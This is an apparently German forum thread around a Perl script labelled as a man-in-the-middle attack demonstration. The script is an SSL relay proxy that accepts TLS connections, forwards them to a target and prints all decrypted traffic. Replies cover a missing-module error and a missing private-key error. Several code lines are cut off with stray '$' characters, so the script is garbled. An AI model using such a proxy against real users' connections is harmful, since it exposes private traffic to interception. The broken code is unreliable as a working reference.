3 Einträge, 1 Seite |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/perl
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Library General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.#
#######################################################################
#
#
# Demonstrates the man-in-the-middle attack
# Copyright 2004 - Simon Newton
#
use strict;
use warnings;
use IO::Socket::INET ;
use IO::Socket::SSL ;
use Getopt::Long ;
my $lport = '1200' ;
my $laddr = 'localhost' ;
my $cport = '443' ;
my $caddr = 'localhost' ;
my $help = 0 ;
my $result = GetOptions ("lport=s" => \$lport,
"laddr=s" => \$laddr,
"cport=s" => \$cport,
"caddr=s" => \$caddr,
"help" => \$help
);
$| = 1 ;
if($help) {
print<<"END" ;
Usage: ssl_proxy.pl [OPTIONS]
--cport <port> Port to connect to (default 443)
--caddr <address> Address to connect to (default localhost)
--lport <port> Port to listen on (default 1200)
--laddr <address> Address to listen on (default localhost)
--help Display this help message
END
exit ;
}
my $s_sock = IO::Socket::SSL->new(Listen => 5,
LocalAddr $ LocalPort $ Reuse => 1, Proto => '$
die "Can't create s_socket:" , &IO::Socket::SSL::errstr , "\n" if ! $s_sock ;
while ( my $client = $s_sock->accept() ) {
my $c_sock = IO::Socket::SSL->new( PeerAddr => $caddr . ':' . $cport,
Proto => 'tcp') ;
die "Cannot open connection to peer $caddr:$cport:" , &IO::Socket::SSL::$ $ my $pid = fork() ;
die "Can't fork $!" unless defined ($pid) ;
if($pid) {
# parent
my $line ;
while( $client->read($line,100) ) {
print $line ;
print $c_sock $line ;
}
} else {
# child
my $line ;
while( $c_sock->read($line, 100) ) {
print $line ;
print $client $line ;
}
exit;
}
close $c_sock ;
close $client ;
print "Closed connection, awaiting next one\n" ;
}
1
2
3
paua:/home/pau# perl ssl_proxy.pl
Can't locate IO/Socket/SSL.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.8.8 /usr/local/share/perl/5.8.8 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at ssl_proxy.pl line 27.
BEGIN failed--compilation aborted at ssl_proxy.pl line 27.
linse+2007-12-03 22:28:27--Du solltest IO::Socket::SSL installieren:
perl -MCPAN -e "install IO::Socket::SSL"
mfg Dirk
cannot create s_socket:Failed to open Private Keyerror:02001002:system library:fopen:Datei oder Verzeichnis nicht ge
3 Einträge, 1 Seite |